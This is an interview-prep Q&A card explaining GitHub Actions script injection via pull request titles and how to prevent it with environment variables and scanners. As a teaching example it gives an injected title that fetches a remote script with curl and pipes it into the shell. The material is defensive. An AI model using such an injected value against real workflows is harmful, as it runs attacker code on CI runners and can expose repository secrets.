Interview Prep/Git & GitHub/Secrets, Signing and Security

A workflow echoes the PR title in a shell step, and a security reviewer flags it. Why?

AdvancedScenarioSecrets, Signing and Security
Answer

Situation read → ${{ github.event.pull_request.title }} is expanded into the script before the shell runs, so a crafted title can inject commands.

What I'd do →

  1. Never interpolate untrusted fields (title, body, branch name, commit message) directly in run:.
  2. Pass them through environment variables:
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "$TITLE"
  1. Run zizmor or CodeQL's Actions queries to find such patterns.
  2. Keep GITHUB_TOKEN permissions minimal.

Why → An env var is data to the shell, whereas inline expansion is code.

Interview tip → A title like "; curl evil.sh | sh # is a good concrete example.

All Git & GitHub questions Roadmap: Git & GitHub

More on Secrets, Signing and Security